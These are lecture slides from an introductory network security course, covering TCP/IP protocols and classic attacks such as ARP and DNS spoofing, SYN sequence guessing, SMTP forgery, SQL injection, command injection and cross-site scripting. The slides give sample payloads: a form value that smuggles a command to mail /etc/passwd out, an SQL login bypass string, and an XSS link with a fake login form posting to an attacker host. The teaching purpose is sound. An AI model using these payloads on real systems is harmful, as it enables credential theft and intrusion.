1. Pertemuan - 12
Introduction to Security
Jaringan Komputer
Teknik Informatika
Universitas Yudharta Pasuruan
2012
© Levente Buttyán
MOCHAMAD SIRODJUDIN, S.Kom, MM
www.sirodjudin.com

2. Outline
 TCP/IP networking overview
 protocols and known vulnerabilities
–
–
–
–
–
–
ARP / ARP spoofing
IP / eavesdropping, alteration, traffic analysis, etc.
TCP / SYN attack
Telnet, FTP / password sniffing
SMTP / e-mail forgery, eavesdropping, alteration
DNS / DNS spoofing
 more known security problems
–
–
–
–
Web forms, cookies, and CGI scripts
mobile code (Java scripts, Java applets, and ActiveX controls)
denial of service (DoS)
exploiting bugs in software (buffer overflow problems)
 outline of the course
© Levente Buttyán
2

3. TCP/IP layering
HTTP
application
…
FTP
DNS
SMTP
…
SNMP
transport
UDP
TCP/IP networking overview
TCP
network
IGMP
ICMP
IP
ARP
hardware
interface
media
© Levente Buttyán
link
RARP
3

4. An example
end system
end system
HTTP
client
HTTP
server
HTTP
TCP
TCP
TCP
TCP/IP networking overview
router
IP
Ethernet
driver
IP
Ethernet
protocol
Ethernet
© Levente Buttyán
IP
IP
Ethernet
driver
token ring
driver
token
ring
protocol
IP
token ring
driver
token ring
4

5. Encapsulation
user data
HTTP
client
HTTP hdr
TCP
TCP hdr
TCP/IP networking overview
IP
IP hdr
Ethernet
driver
Eth. hdr
tr.
Ethernet
© Levente Buttyán
5

6. Demultiplexing
HTTP
FTP
…
DNS
SNMP
SMTP
TCP
TCP/IP networking overview
…
UDP
IGMP
ICMP
IP
demuxing based on
the port number
in the TCP or UDP
header
demuxing based on the
protocol id in the IP header
RARP
ARP
Ethernet
driver
© Levente Buttyán
demuxing based on frame type
in the Ethernet header
6

7. Names and addresses
 IP addresses
TCP/IP networking overview
– every interface has a unique IP address
– 32 bits long, usually given in dotted decimal notation
– 5 classes:
•
•
•
•
•
class A: “0” + 7 bits net ID + 24 bits host ID
class B: “10” + 14 bits net ID + 16 bits host ID
class C: “110” + 21 bits net ID + 8 bits host ID
class D: “1110” + 28 bits multicast group ID
class E: starts with “11110”, reserved for future use
– subnet addressing (CIDR - classless Internet domain routing)
• host ID portion is divided into a subnet ID and a host ID
• e.g., class B address: “10” + 14 bit net ID + 8 bit subnet ID + 8 bit host ID
hierarchical addressing
© Levente Buttyán
7

8. Names and addresses
 hardware address (MAC addresses)
TCP/IP networking overview
–
–
–
–
every interface has a unique and fixed hardware address too
it is used by the data link layer
in case of Ethernet, it is 48 bits long
mapping between IP addresses and MAC addresses are done by ARP
 host names
– human readable, hierarchical names, such as www.hit.bme.hu
– every host may have several names
– mapping between names and IP addresses is done by the Domain Name
System (DNS)
© Levente Buttyán
8

9. ARP – Address Resolution Protocol
 mapping from IP addresses to MAC addresses
Request
.1
08:00:20:03:F6:42
.2
.3
.4
00:00:C0:C2:9B:26
.5
140.252.13
Protocols and vulnerabilities
arp req | target IP: 140.252.13.5 | target eth: ?
Reply
.1
08:00:20:03:F6:42
.2
.3
.4
00:00:C0:C2:9B:26
.5
140.252.13
arp rep | sender IP: 140.252.13.5 | sender eth: 00:00:C0:C2:9B:26
© Levente Buttyán
9

10. ARP spoofing
 an ARP request can be responded by another host
Request
.1
08:00:20:03:F6:42
.2
.3
.4
00:00:C0:C2:9B:26
.5
140.252.13
Protocols and vulnerabilities
arp req | target IP: 140.252.13.5 | target eth: ?
Reply
.1
08:00:20:03:F6:42
.2
.3
00:34:CD:C2:9F:A0 00:00:C0:C2:9B:26
.4
.5
140.252.13
arp rep | sender IP: 140.252.13.5 | sender eth: 00:34:CD:C2:9F:A0
© Levente Buttyán
10

11. Protocols and vulnerabilities
IP – Internet Protocol
 provides an unreliable, connectionless datagram delivery
service to the upper layers
 its main function is routing
 it is implemented in both end systems and intermediate
systems (routers)
 routers maintain routing tables that define the next hop router
towards a given destination (host or network)
 IP routing uses the routing table and the information in the IP
header (e.g., the destination IP address) to route a packet
© Levente Buttyán
11

12. IP security problems
 user data in IP packets is not protected in any way
– anyone who has access to a router can read and modify the user data in the
packets
 IP packets are not authenticated
– it is fairly easy to generate an IP packet with an arbitrary source IP address
Protocols and vulnerabilities
 traffic analysis
– even if user data was encrypted, one could easily determine who is
communicating with whom by just observing the addressing information in the
IP headers
 information exchanged between routers to maintain their routing tables is
not authenticated
–
–
–
–
correct routing table updates can be modified or fake ones can be disseminated
this may screw up routing completely leading to loops or partitions
it may also facilitate eavesdropping, modification, and monitoring of traffic
it may cause congestion of links or routers (i.e., denial of service)
© Levente Buttyán
12

13. TCP – Transmission Control Protocol
 provides a connection oriented, reliable, byte stream service to
the upper layers
 connection oriented:
Protocols and vulnerabilities
– connection establishment phase prior to data transfer
– state information (sequence numbers, window size, etc.) is maintained
at both ends
 reliable:
– positive acknowledgement scheme (unacknowledged bytes are
retransmitted after a timeout)
– checksum on both header and data
– reordering of segments that are out of order
– detection of duplicate segments
– flow control (sliding window mechanism)
© Levente Buttyán
13

14. TCP connection establishment
3 way handshake
client
SYN = ISNC
SYN = ISNS, ACK(ISNC)
server
ISN – Initial Sequence Number
ACK(ISNS)
Protocols and vulnerabilities
data transfer
– sequence numbers are 32 bits long
– the sequence number in a data segment identifies the first byte in the
segment
– sequence numbers are initialized with a “random” value during
connection setup
– the RFC suggests that the ISN is incremented by one at least every 4 ms
© Levente Buttyán
14

15. TCP SYN attack
 in Berkeley implementations, the ISN is incremented by a constant amount
(64000)
– once per 0.5 second, and
– each time a connection is initiated
Protocols and vulnerabilities
 it is not hopeless to guess the next ISN to be used by a server
 an attacker can impersonate a trusted host (e.g., in case of r commands,
authentication is based on source IP address solely)
attacker
SYN = ISNX, SRC_IP = T
server
trusted host (T)
SYN = ISNS, ACK(ISNX)
ACK(ISNS), SRC_IP = T
SRC_IP = T, nasty_data
© Levente Buttyán
15

16. TCP SYN attack – How to guess ISNS?
attacker
server
Protocols and vulnerabilities
Dt
–
–
–
–
–
–
ISNS‟ depends on ISNS and Dt
Dt can be estimated from the round trip time
assume Dt can be estimated with 10 ms precision
the attacker has an uncertainty of 1280 in the possible value for ISNS‟
assume each trial takes 5 s
the attacker has a reasonable likelihood of succeeding in 6400 s and a
near-certainty within one day
© Levente Buttyán
16

17. FTP – File Transfer Protocol
client
user
interface
user
server
Protocols and vulnerabilities
protocol
interpreter
data
transfer
function
file system
© Levente Buttyán
control connection
(FTP commands and replies)
protocol
interpreter
data connection
data
transfer
function
file system
17

18. FTP cont‟d
 typical FTP commands:
–
–
–
–
–
RETR filename – retrieve (get) a file from the server
STOR filename – store (put) a file on the server
TYPE type – specify file type (e.g., A for ASCII)
USER username – username on server
PASS password – password on server
 FTP is a text (ASCII) based protocol
server
Protocols and vulnerabilities
client
% ftp ftp.epfl.ch
<TCP connection setup to port 21 of ftp.epfl.ch>
“220 ftp.epfl.ch FTP server (version 5.60) ready.”
Connected to ftp.epfl.ch.
Name: buttyan
“USER buttyan”
“331 Password required for user buttyan.”
Password: kiskacsa
“PASS kiskacsa”
“230 User buttyan logged in.”
…
© Levente Buttyán
18

19. Telnet
Protocols and vulnerabilities
 provides remote login service to users
 works between hosts that use different operating systems
 uses option negotiation between client and server to determine
what features are supported by both ends
Telnet client
kernel
Telnet server
login shell
kernel
terminal
driver
TCP/IP
TCP/IP
pseudoterminal
driver
TCP connection
user
© Levente Buttyán
19

20. Telnet cont‟d
 Telnet session example (“character at a time” mode)
server
client
% telnet ahost.epfl.ch
Connected to ahost.epfl.ch.
Escape character is „^]‟.
<TCP connection setup to port 23 of ahost.epfl.ch>
<Telnet option negotiation>
“UNIX(r) System V Release 4.0”
“Login:”
Protocols and vulnerabilities
Login: b
“b”
Login: bu
“u”
…
Login: buttyan
“n”
“Password:”
Password: k
“k”
…
Password: kiskacsa
“a”
<OS greetings and shell prompt, e.g., “%”>
© Levente Buttyán
…
20

21. SMTP – Simple Mail Transfer Protocol
sending host
user
agent
mails to
be sent
user
local
MTA
SMTP
relay
MTA
TCP connection SMTP
Protocols and vulnerabilities
TCP port 25
relay
MTA
SMTP
receiving host
local
MTA
user
agent
user
© Levente Buttyán
SMTP
relay
MTA
user
mailbox
21

22. SMTP cont‟d
 SMTP is used by MTAs to talk to each other
 SMTP is a text (ASCII) based protocol
sending MTA (rivest.hit.bme.hu)
receiving MTA (shamir.hit.bme.hu)
<TCP connection establishment to port 25>
“HELO rivest.hit.bme.hu.”
“250 shamir.hit.bme.hu Hello rivest.hit.bme.hu., pleased to meet you”
Protocols and vulnerabilities
“MAIL from: buttyan@rivest.hit.bme.hu”
“250 buttyan@rivest.hit.bme.hu... Sender ok”
“RCPT to: hubaux@lca.epfl.ch”
“250 hubaux@lca.epfl.ch… Recipient ok”
“DATA”
“354 Enter mail, end with a “.” on a line by itself”
<message to be sent>
.
“250 Mail accepted”
“QUIT”
“221 shamir.hit.bme.hu delivering mail”
© Levente Buttyán
22

23. SMTP security problems
 SMTP does not provide any protection of e-mail messages
– messages can be read and modified by any of the MTAs involved
– fake messages can easily be generated (e-mail forgery)
Protocols and vulnerabilities
 Example:
% telnet frogstar.hit.bme.hu 25
Trying...
Connected to frogstar.hit.bme.hu.
Escape character is ‘^[’.
220 frogstar.hit.bme.hu ESMTP Sendmail 8.11.6/8.11.6;
Mon, 10 Feb 2003 14:23:21 +0100
helo abcd.bme.hu
250 frogstar.hit.bme.hu Hello [152.66.249.32], pleased to meet you
mail from: bill.gates@microsoft.com
250 2.1.0 bill.gates@microsoft.com... Sender ok
rcpt to: buttyan@ebizlab.hit.bme.hu
250 2.1.5 buttyan@ebizlab.hit.bme.hu... Recipient ok
data
354 Enter mail, end with "." on a line by itself
Your fake message goes here.
.
250 2.0.0 h1ADO5e21330 Message accepted for delivery
quit
221 frogstar.hit.bme.hu closing connection
Connection closed by foreign host.
%
© Levente Buttyán
23

24. Protocols and vulnerabilities
Be careful, though!
Return-Path: <bill.gates@microsoft.com>
Received: from frogstar.hit.bme.hu (root@frogstar.hit.bme.hu [152.66.248.44])
by shamir.ebizlab.hit.bme.hu (8.12.7/8.12.7/Debian-2)
with ESMTP id h1ADSsxG022719
for <buttyan@ebizlab.hit.bme.hu>; Mon, 10 Feb 2003 14:28:54 +0100
Received: from abcd.bme.hu ([152.66.249.32])
by frogstar.hit.bme.hu (8.11.6/8.11.6) with SMTP id h1ADO5e21330
for buttyan@ebizlab.hit.bme.hu; Mon, 10 Feb 2003 14:25:41 +0100
Date: Mon, 10 Feb 2003 14:25:41 +0100
From: bill.gates@microsoft.com
Message-Id: <200302101325.h1ADO5e21330@frogstar.hit.bme.hu>
To: undisclosed-recipients:;
X-Virus-Scanned: by amavis-dc
Status:
Your fake message goes here.
© Levente Buttyán
24

25. DNS – Domain Name System
Protocols and vulnerabilities
 The DNS is a distributed database that provides mapping
between hostnames and IP addresses
 the DNS name space is hierarchical
– top level domains: com, edu, gov, int, mil, net, org, ae, …, hu, … zw
– top level domains may contain second level domains
e.g., bme within hu, epfl within ch, …
– second level domains may contain third level domains, etc.
 each domain has name servers
– usually (not always) a name server knows the IP address of the top level
name servers
– if a domain contains sub-domains, then the name server knows the IP
address of the sub-domain name servers
– when a new host is added to a domain, the administrator adds the
(hostname, IP address) mapping to the database of the local name
server
© Levente Buttyán
25

26. DNS cont‟d
frogstar.hit.bme.hu = ?
application
152.66.248.44
local
name srv
frogstar.hit.bme.hu = ?
IP of ns in hu
top level
name srv
name srv
in hu
Protocols and vulnerabilities
name srv
in bme.hu
name srv
in hit.bme.hu
– a single DNS reply may include several (hostname, IP address)
mappings (Resource Records)
– received information is cached by the name server
© Levente Buttyán
26

27. DNS spoofing
 the cache of a DNS name server is poisoned with false
information
 how to do it?
Protocols and vulnerabilities
– assume that the attacker wants www.anything.hu to map to his own IP
address 152.66.249.32
– approach 1:
• attacker submits a DNS query “www.anything.hu=?” to ns.victim.hu
• a bit later it forges a DNS reply “www.anything.hu=152.66.249.32”
• UDP makes forging easier but the attacker must still predict the query ID
– approach 2 (attacker has access to ns.attacker.hu):
• the attacker modifies its local name server such that it responds a query
“www.attacker.hu=?” with “www.anything.hu=152.66.249.32”
• the attacker then submits a query “www.attacker.hu=?” to ns.victim.hu
• ns.victim.hu sends the query “www.attacker.hu=?” to ns.attacker.hu
• ns.attacker.hu responds with “www.anything.hu=152.66.249.32”
© Levente Buttyán
27

28. Web security – Browser side risks
 obtaining a valid browser
– IE usually comes with the OS
– Netscape can be obtained from web sites
– How can you be sure that you are downloading a genuine copy?
(remember DNS spoofing)
– a fake browser can look like a genuine one, but it can
Web security problems
• obtain and send passwords typed in by the user
• downgrade browser security (e.g., reduce key length used in SSL)
• …
 web forms
– used to send data from the user to the server (e.g., online applications,
queries to a database, etc.)
– if pure HTTP is used, then the data is sent in clear
– sensitive information can be eavesdropped and/or modified
© Levente Buttyán
28

29. Browser side risks cont‟d
 helper applications
– the browser cannot handle all kind of downloaded data
– it invokes an external program (the helper) on the user‟s machine with
the downloaded data as parameter
– e.g., to display a PostScript file, it may pass it to GhostView
– downloaded content can be dangerous (e.g., MS Word and Excel files
may contain macro viruses)
Web security problems
 mobile code
– Java applets
• normally run within a controlled environment (sandbox)
• access to local resources is strictly controlled by a security manager
• however, an applet may escape from the sandbox due to some bugs in the
implementation of the Java Virtual Machine
• several such bugs have been discovered, reported, and fixed
• what guarantees that there‟s no more?
© Levente Buttyán
29

30. Browser side risks cont‟d
 mobile code (cont‟d)
– ActiveX controls
• a Microsoft approach to mobile code
• ActiveX controls are executables that run directly on the machine (there‟s
no sandbox)
• ActiveX controls can be signed and declared safe by their creators
• but an ActiveX control declared safe may turn out to be dangerous
Web security problems
– Compaq signed a control safe which allowed for remote management of
servers
– Microsoft signed a control which could write arbitrary file on the hard disk (it
was exploited by a virus Kak.Worm)
– JavaScript != Java applet
• scripts are interpreted by the browser itself
• not as powerful as Java (e.g., many attacks require that the user clicks on a
button to activate the malicious code)
• successful attacks reported include history tracking, stealing files, helping
Java applets to bypass firewalls, etc.
© Levente Buttyán
30

31. Browser side risks cont‟d
 cookies
Web security problems
– a cookie is a (name, value) pair
– cookies are set by web servers and stored by web browsers
– a cookie set by a server is sent back to the server when the browser
visits the server again
– used to create “HTTP sessions” (session state information is stored in
cookies)
– example:
client
server
get index.html
content of index.html + set-cookie: sessionID=123456789
get nextlink.html + cookie: sessionID=123456789
…
© Levente Buttyán
31

32. Browser side risks cont‟d
 cookies (cont‟d)
– if cookies are sent in clear, then they can be eavesdropped and used to hijack
an “HTTP session”
– cookies can be used to track what sites the user visits (can lead to serious
privacy violation!)
Web security problems
• many sites use third party advertisements
• the third party can set a cookie that identifies the user
• this cookie is sent to the third party each time an ad is downloaded by the user‟s
browser along with the address of the page that contains the link to the ad (the
“referrer” field of the HTTP header contains this address)
whatever.com
index.html
browser
get ad_server.asp +
referrer=“whatever.com/index.html” +
cookie: user=123456789
© Levente Buttyán
<html>
…
<img src=“http://thirdparty.com/ad_server.asp”>
…
</html>
thirdparty.com
32

33. Browser side risks cont‟d
 http://www.musicvision.com/network_privacy_policy.html
Web security problems
Third Party Advertising
We use Maxworldwide and other third-party advertising companies to serve ads
when you visit our Web site. These companies may use information (not including
your name, address, email address or telephone number) about your visits to this
and other Web sites in order to provide advertisements on this site and other sites
about goods and services that may be of interest to you. If you would like more
information about this practice and to know your choices about not having this
information used by these companies, please click here
Third Party Cookies
In the course of serving advertisements to this site, our third-party advertiser may
place or recognize a unique "cookie" on your browser.
© Levente Buttyán
33

34. Web security – Server side risks
 interactive web sites are based on forms and scripts
Web security problems
– forms are written in html
– the user fills the form and clicks on a button to submit it
– this creates a request to the server that contains the data typed in by
the user
– the request launches a script on the server that processes the data
supplied by the user (may return a page that is created using the
supplied data)
 unexpected user input may have unexpected effects
– special characters
– too much data (may cause buffer overflow)
 at best, the server crashes
 at worst, the attacker gains control over the server
© Levente Buttyán
34

35. Server side risks cont‟d
 an example: password based user authentication
– assume the following server side script is used to check the supplied
username and password:
query$ = „SELECT name, pass FROM database WHERE name = “ ‟ + name$ + „ ” AND
pass = “ ‟ + pass$ + „ ” ‟
Result = SQLquery(query$)
if Result <> 0 then OK
– with name$ = buttyan and pass$ = kiskacsa
Web security problems
SELECT name, pass FROM database WHERE name = “buttyan” AND pass = “kiskacsa”
– with name$ = buttyan” OR TRUE OR name = “ and pass$ = kiskacsa
SELECT name, pass FROM database WHERE name = “buttyan” OR TRUE OR name = “”
AND pass = “kiskacsa”
© Levente Buttyán
35

36. Server side risks cont‟d
 another example: the user can type her e-mail address in a
form and the server sends her the latest public company report
– assume the following perl script is used on the server
system(“sendmail $address < report.doc”);
– with $address = buttyan@hit.bme.hu
system(“sendmail buttyan@hit.bme.hu < report.doc”);
Web security problems
– with $address = buttyan@hit.bme.hu < /etc/passwd | sendmail
buttyan@hit.bme.hu
system(“sendmail buttyan@hit.bme.hu < /etc/passwd | sendmail
buttyan@hit.bme.hu < report.doc”);
© Levente Buttyán
36

37. Server side risks cont‟d
 Buffer overflow attacks
– if the program doesn‟t verify that the supplied data fits in the allocated
space, then it may overwrite some parts of the memory, which may
contain data, instructions, or addresses
– by carefully analyzing the program structure one can provide machine
code as part of the supplied data that will be executed by the server
– many attacks use buffer overflow bugs (e.g., infamous Internet Worm by
Morris used a buffer overflow bug in the sendmail program)
Web security problems
 Format string attack
– printf(“%s”, str); -- correct.
– printf(str); -- will compile, but dangerous!
• str will be interpreted as a format string
© Levente Buttyán
37

38. Cross site scripting
 the attacker arranges that the victim receives a malicious
script from a trusted server
 example:
Web security problems
– Mallory places the script in the “guest book” of Bob
– Alice visits the “guest book” of Bob
– her browser downloads and runs Mallory‟s script
© Levente Buttyán
38

39. CSS cont‟d
 another example
– when requesting a non-existent file abcd.html from some web servers,
they return error messages like:
“The requested file abcd.html cannot be found on the server.”
Web security problems
– Mallory can place the following link on a page:
< a href=“http://trusted.server.com/is protected. The server needs you to
login.<br><form action=&#34;http://mallory.com/cgiscript.cgi&#34;
method=&#34;post&#34;>Username: <input type=&#34;text&#34;
name=&#34;name&#34;><br>Password: <input type=&#34;password&#34;
name=&#34;pass&#34;><br><input type=&#34;submit&#34;
value=&#34;Login&#34;></form><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>”>
– what will happen?
• Alice clicks on the link
• HTTP request is sent to trusted.server.com
• the server returns the usual error page, but it will look like a login window...
© Levente Buttyán
39

40. CSS cont‟d
The requested file is protected. The server needs you to log in.
Username:
Password:
Web security problems
Login
browser window
cannot be found on the server.
© Levente Buttyán
40

41. Conclusion
 there are many more vulnerabilities and attacks
Auto
Coordinated
© 2002 by Carnegie Mellon University
http://www.cert.org/archive/ppt/cyberterror.ppt
Cross site scripting
“stealth” / advanced
scanning techniques
High
packet spoofing
sniffers
Intruder
Knowledge
sweepers
Tools
Staged
distributed
www attack tools
attacks
automated probes/scans
denial of
service
GUI
back doors
disabling audits
network mgmt. diagnostics
hijacking
burglaries sessions
exploiting known vulnerabilities
Attack
Sophistication
password cracking
self-replicating code
Intruders
password guessing
Low
1980
1985
1990
1995
2000
 some of these cannot be prevented by technical means, but only with
careful procedures and education of people
 this course will focus on technical countermeasures
© Levente Buttyán
41

42. Course outline













brief introduction to cryptography
e-mail security: PGP, S/MIME
secure remote access: SSH
the Secure Socket Layer (SSL)
network layer security: IPSec (AH, ESP, IKE)
link layer security: L2TP
e-commerce security: SET, e-cash, micropayments
privacy protection: Onion routing, Crowds
Java security
DNS security
firewalls and intrusion detection systems
Wi-Fi security (IEEE 802.11 wireless LAN)
peer-to-peer security
© Levente Buttyán
42